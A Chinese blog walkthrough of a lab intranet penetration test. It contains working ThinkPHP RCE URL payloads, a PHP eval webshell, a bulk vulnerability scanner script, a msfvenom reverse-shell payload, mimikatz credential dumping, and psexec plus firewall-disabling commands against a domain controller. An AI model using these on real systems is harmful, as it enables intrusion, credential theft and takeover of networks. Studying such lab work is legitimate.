美文网首页iOS 逆向工程 app安全 网络安全
当我讲起内网渗透,他们都弃我而去了

当我讲起内网渗透,他们都弃我而去了

作者: 顶峰相见8号 | 来源:发表于2021-07-09 22:12 被阅读0次

    前言
    在内网渗透的过程中思路才是最重要的,本次内网渗透的主机虽然不多,主要还是锻炼自己内网渗透的一个思想。

    环境搭建
    靶场:

    win7(内):192.168.138.136

    win7(外):192.168.10.25

    域内主机:

    win2008:192.168.138.138


    图片.png
    图片.png

    web服务器渗透
    nmap探测端口
    nmap -T4 -sC -sV 192.168.10.25
    这里可以看到几个主要的端口,例如80、135、139、445,这里首先就可以想到可以利用的点有ipc、smb

    图片.png

    开了80端口,尝试访问web地址,老笑脸人了,而且还是5.x版本,洞还是比较多

    图片.png

    为了确定具体版本,这里先使用报错查看,发现这里的版本为5.0.22,如果没记错的话这里是有一个tp远程命令执行漏洞的

    漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用_POST['_method']来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置_POST['_method']='__construct'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

    图片.png

    thinkphp getshell
    这里我首先在kali里面找一下有没有相关的漏洞

    searchsploit thinkphp

    图片.png

    可以看到这里有一个5.x远程执行漏洞,这里直接进入这个文件夹查看一下txt列出来的payload

    cd /usr/share/exploitdb/exploits/php/webapps
    cat 46150.txt
    
    图片.png

    找到对应版本后fuzz以下payload,这个是列出数据库名字,这里看到数据库名为root

    192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username
    
    图片.png

    这个payload应该是列出数据库密码,但是这里没有打出来

    192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password

    图片.png

    这里打出phpinfo

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    图片.png

    传参看一下当前权限为administrator

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    图片.png
    看一下ip情况,双网卡,那么大概率有域环境

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

    图片.png

    看一下进程,发现无杀软那么尝试不用免杀直接写webshell

    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

    图片.png
    这里直接尝试echo写一个一句话木马进去,这里因为之前查看过没有杀软跟安全狗,这里就不需要做免杀处理
    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php
    


    图片.png
    这里用dir验证一下是否写入成功
    192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
    


    图片.png

    使用蚁剑连接成功


    图片.png
    图片.png

    thinkphp批量检测
    这里我思考了一个问题,thinkphp的版本这么多,如果kali里面的漏洞库没有,而在搜索引擎上去搜索又太耗费时间,有没有一个批量检测thinkphp漏洞的脚本呢?

    这里我找到了一个thinkphp漏洞批量检测的脚本

    !/usr/bin/env python

    -- coding: utf-8 --

    name: thinkphp远程代码检测

    description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

    import re
    import sys
    import requests
    import queue
    import threading
    from bs4 import BeautifulSoup
    class thinkphp_rce(threading.Thread):
    def init(self, q):
    threading.Thread.init(self)
    self.q = q
    def run(self):
    while not self.q.empty():
    url=self.q.get()
    headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
    payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
    vulnurl = url + payload
    try:
    response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)

                soup = BeautifulSoup(response.text,"lxml")
                if 'PHP Version' in str(soup.text):
                    print ('[+] Remote code execution vulnerability exists at the target address')
                    print ('[+] Vulnerability url address ' + vulnurl)
                    with open('target.txt','a') as f1:
                        f1.write(vulnurl+'\n')
                    f1.close()
                else:
                    print ('[-] There is no remote code execution vulnerability in the target address')
            except:
                print ('[!] Destination address cannot be connected')
    

    def urlget():
    with open('url.txt','r')as f:
    urls=f.readlines()
    for tmp in urls:
    if '//' in tmp:
    url=tmp.strip('\n')
    urlList.append(url)
    else:
    url='http://'+tmp.strip('\n')
    urlList.append(url)
    return(urlList)
    f.close()

    if name=="main":
    print('''----------------扫描开始-------------------

    *Made by :tdcoming
    *For More :https://t.zsxq.com/Ai2rj6E
    *MY Heart :https://t.zsxq.com/A2FQFMN

              _______   _                         _               
             |__   __| | |                       (_)              
                | |  __| |  ___  ___   _ __ ___   _  _ __    __ _ 
                | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \  / _` |
                | || (_| || (__| (_) || | | | | || || | | || (_| |
                |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
                                                             __/ |
                                                            |___/ 
            ''')
    urlList=[]
    urlget()
    threads = []
    threads_count = 10
    q=queue.Queue()
    for url in urlList:
        q.put(url)
    for i in range(threads_count):
        threads.append(thinkphp_rce(q))
    for i in threads:
        i.start()
    for i in threads:
        i.join()
    

    这里的使用方法很简单:将要检测的目标放在url.txt里面,如果存在漏洞的地址将自动生成一个target.txt文本保存

    图片.png

    内网信息搜集
    这里使用蚁剑的命令窗口搜集一下本机信息,为administrator权限+双网卡

    whoamiipconfig


    图片.png

    查看一下域相关信息

    net viewnet config workstationnet user /domain

    图片.png

    内网渗透
    上线msf
    msf生成一个abc.exe

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe


    图片.png

    使用蚁剑上传到靶机上


    图片.png
    这里因为没有杀软不用做免杀,直接命令行执行即可


    图片.png
    msf开启监听即可上线


    图片.png

    信息搜集

    使用getsystem提权到system,这里因为是靶场的原因getsystem比较容易执行成功

    图片.png

    提权后获取一个windows环境下的shell继续对域进行信息搜集

    chcp 65001net user /domainnet group "domain computers" /domainnet group "domain controllers" /domainnet group "domain admins" /domain

    图片.png

    靶机存在一个名为“sun”的域环境,只有一个域控,这里我直接ping一下域控得到域控ip为192.168.138.138

    图片.png

    获取凭证

    这里因为有两个网段就先把路由添加上方便后续操作

    # msf操作route add 192.168.138.0 255.255.255.0 2route print # session操作run autoroute -s 192.168.138.0/24run autoroute -p

    图片.png
    图片.png

    这里选择session,使用kiwi来获取靶机密码,注意这里需要进行的一个操作为进程迁移,因为我们这里上线到msf的载荷是32位的(即x86),这里需要找一个64位的(即x64)进行进程迁移才能使用kiwi获取靶机密码

    sessions -i 2load kiwikiwi_cmd privilege::debugpsmigrate 1144kiwi_cmd sekurlsa::logonPasswords

    图片.png

    这里可以看到抓取到了一个域管的密码为dc123.com和一个靶机的密码123.com


    图片.png
    图片.png

    思路
    这里抓到了靶机和域管的密码,那么这里就可以用pth的方法进行横向移动,这是第一种方法;另外我们可以去检测一下在另一个网段的机器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp进行横向移动,这是第二种方法;因为我们之前在用nmap对端口进行扫描的时候是发现了139和445端口的,那么我们拿到了密码的情况下可以尝试使用ipc+计划任务的方式进行横向移动

    内网横向移动
    MS17-010尝试
    这里直接使用ms17-010的攻击模块进行尝试,这里其实应该先用扫描模块对处于另一网段的主机进行漏洞扫描,若存在永恒之蓝漏洞才继续使用exp模块进行攻击,这里我为了演示方便就直接上手exp模块进行攻击了

    图片.png

    这里攻击可以看到,虽然靶机存在永恒之蓝漏洞但是session反弹不成功,这里是因为在windows server2008的情况下匿名管道是默认不开启的。

    我们知道psexec的原理就是使用了管道,ipc连接也同理。那么在匿名管带不开启的情况下永恒之蓝的连接是建立不上的。这里再说一下匿名管道的概念:

    管道是IPC最基本的一种实现机制。我们都知道在Linux下“一切皆文件”,其实这里的管道就是一个文件。管道实现进程通信就是让两个进程都能访问该文件。管道的特征:①只提供单向通信,也就是说,两个进程都能访问这个文件,假设进程1往文件内写东西,那么进程2 就只能读取文件的内容。②只能用于具有血缘关系的进程间通信,通常用于父子进程建通信③管道是基于字节流来通信的④依赖于文件系统,它的生命周期随进程的结束结束(随进程)⑤其本身自带同步互斥效果

    图片.png
    psexec尝试
    因为我们已经拿到了域管的帐号那么我们这里就直接使用pth的方法,即哈希传递,使用的是psexec模块,不过这个模块因为被使用太多导致已经被杀软列入了黑名单,如果这里有杀软存在的情况下psexec横向移动是会被拦截的。

    设置参数如下所示,这里注意一下SMBPass这个地方也能够通过hash进行传递,也能够通过明文密码进行传递

    use exploit/windows/smb/psexecset rhost 192.168.138.138set SMBDomain SUNset SMBUser administratorset SMBPass dc123.comset payload windows/meterpreter/bind_tcprun

    这里可以看到exp已经利用了但是没有session反弹回来,这里我猜测是以为防火墙阻止了端口流量的进出,所以这里我们就需要通过ipc连接去关闭域控的防火墙


    图片.png

    ipc连接关闭域控防火墙
    这里的常规方法是使用netsh关闭域控防火墙,但是这里需要域控的管理员权限,所以在这里我们就直接使用ipc连接域控然后使用计划任务添加规则关闭防火墙

    netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe"
    将session挂在后台并与域控建立ipc连接

    net use \\192.168.138.138\ipc$ dc123.com /user:administrator
    这里可以看到连接已经建立成功了

    图片.png
    利用sc创建计划任务立即启动关闭域控的防火墙
    sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"    # 创建服务sc \\192.168.138.138 start unablefirewall    # 立即启动服务
    

    这里可以看到防火墙已经被关闭了


    图片.png

    psexec尝试*2
    这时候我们再使用psexec进行横向移动就能够获得session,至此我们就拿到了域控的权限


    图片.png
    这里看一下我们直接拿到的就是一个system权限的session
    图片.png

    登录远程桌面
    这里我想登录远程桌面看看域控还有什么有价值的东西就可以使用socks代理正向进入内网

    使用socks_proxy模块

    use auxiliary/server/socks_proxtset viersion 4arun
    这里还需要配置proxychain文件

    socks4 192.168.10.11 1080

    图片.png
    添加一个内网网段的路由

    run autoroute -s 192.168.138.0/24run autoroute -p

    图片.png
    然后使用proxychain命令即可登录远程桌面

    proxychain4 rdesktop 192.168.138.138

    相关文章

      网友评论

        本文标题:当我讲起内网渗透,他们都弃我而去了

        本文链接:https://www.haomeiwen.com/subject/mmqqpltx.html